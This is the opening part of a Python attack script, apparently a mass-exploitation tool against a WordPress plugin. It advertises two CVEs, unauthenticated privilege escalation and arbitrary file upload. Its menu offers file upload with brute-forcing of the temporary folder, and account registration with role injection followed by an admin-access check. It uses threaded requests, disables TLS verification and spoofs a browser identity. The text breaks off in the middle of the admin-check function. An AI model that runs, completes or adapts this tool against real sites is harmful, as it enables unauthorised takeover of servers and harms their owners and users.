#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ By: Nxploited (Khaled Alenazi) GitHub: https://github.com/Nxploited Telegram: @KNxploited """ import os import re import sys import time import json import random from concurrent.futures import ThreadPoolExecutor, as_completed from typing import Optional, List, Tuple, Dict, Any from urllib.parse import urlparse import requests import urllib3 try: from colorama import Fore, Style, init as colorama_init # type: ignore colorama_init(autoreset=True) except Exception: class _C: RESET = "" RED = "" GREEN = "" YELLOW = "" CYAN = "" MAGENTA = "" BLUE = "" WHITE = "" Fore = _C() Style = _C() urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) requests.packages.urllib3.disable_warnings() def log_success(msg: str) -> None: print(Fore.GREEN + Style.BRIGHT + "[SUCCESS] " + Style.NORMAL + msg + Style.RESET_ALL) def log_fail(msg: str) -> None: print(Fore.RED + Style.BRIGHT + "[FAIL] " + Style.NORMAL + msg + Style.RESET_ALL) def log_dead(msg: str) -> None: print(Fore.LIGHTBLACK_EX + Style.BRIGHT + "[DEAD] " + Style.NORMAL + msg + Style.RESET_ALL) def log_info(msg: str) -> None: print(Fore.CYAN + Style.BRIGHT + "[INFO] " + Style.NORMAL + msg + Style.RESET_ALL) def log_warn(msg: str) -> None: print(Fore.MAGENTA + Style.BRIGHT + "[WARN] " + Style.NORMAL + msg + Style.RESET_ALL) def build_session(timeout: int) -> requests.Session: s = requests.Session() s.verify = False s.headers.update({ "User-Agent": ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/121.0.0.0 Safari/537.36" ), "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive", }) adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50, max_retries=1) s.mount("http://", adapter) s.mount("https://", adapter) return s def normalize_base(url: str) -> str: url = url.strip() if not url.startswith(("http://", "https://")): url = "http://" + url p = urlparse(url) return f"{p.scheme}://{p.netloc}" def guess_uploads_base_url(base_url: str) -> str: return base_url.rstrip("/") + "/wp-content/uploads" def ask(prompt: str, default: Optional[str] = None) -> str: if default is not None: s = input(f"{prompt} [{default}]: ").strip() return s if s else default return input(f"{prompt}: ").strip() def ask_int(prompt: str, default: int) -> int: s = ask(prompt, str(default)) try: return int(s) except Exception: return default def center(text: str, width: int) -> str: if len(text) >= width: return text pad = (width - len(text)) // 2 return " " * pad + text def print_banner() -> None: os.system("cls" if os.name == "nt" else "clear") try: import shutil TERM_WIDTH = shutil.get_terminal_size((80, 20)).columns except Exception: TERM_WIDTH = 80 top_border = "─" * (TERM_WIDTH - 2) bottom_border = top_border print(Fore.BLUE + "┌" + top_border + "┐" + Style.RESET_ALL) raw_logo = [ ] for line in raw_logo: print(Fore.CYAN + Style.BRIGHT + center(line, TERM_WIDTH) + Style.RESET_ALL) print() cve1 = "CVE-2026-27542 Unauthenticated Privilege Escalation" cve2 = "CVE-2026-27540 Unauthenticated Arbitrary File Upload" print(Style.BRIGHT + Fore.GREEN + center(cve1, TERM_WIDTH) + Style.RESET_ALL) print(Style.BRIGHT + Fore.GREEN + center(cve2, TERM_WIDTH) + Style.RESET_ALL) print() by_line = "By: Nxploited (Khaled Alenazi)" gh_line = "GitHub : https://github.com/Nxploited" tg_line = "Telegram : @KNxploited" print(Style.BRIGHT + Fore.GREEN + center(by_line, TERM_WIDTH) + Style.RESET_ALL) print(Style.BRIGHT + Fore.GREEN + center(gh_line.upper(), TERM_WIDTH) + Style.RESET_ALL) print(Style.BRIGHT + Fore.GREEN + center(tg_line.upper(), TERM_WIDTH) + Style.RESET_ALL) print() modes_title = "Modes" print(Style.BRIGHT + Fore.CYAN + center(modes_title, TERM_WIDTH) + Style.RESET_ALL) print(Fore.WHITE + center("[1] File Upload + wwlc-temp-* Folder Brute-Force", TERM_WIDTH) + Style.RESET_ALL) print(Fore.WHITE + center("[2] Registration + Role Injection + Admin Check", TERM_WIDTH) + Style.RESET_ALL) print() note = ( "Note (Mode 1): wwlc-temp-* folder is generated via uniqid('wwlc-temp-'), " "so folder name is brute-forced, not exactly computed." ) print(Fore.YELLOW + center(note, TERM_WIDTH) + Style.RESET_ALL) print(Fore.BLUE + "└" + bottom_border + "┘" + Style.RESET_ALL) print() def has_logged_in_cookie(sess: requests.Session) -> bool: return any(c.name.startswith("wordpress_logged_in") for c in sess.cookies) def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool: admin_paths = [ "/wp-admin/index.php", "/wp-admin/profile.php", "/wp-admin/edit.php", "/wp-admin/plugins.php", "/wp-admin/users.php", ] markers = [ 'id="adminmenu"', 'id="wpadminbar"', '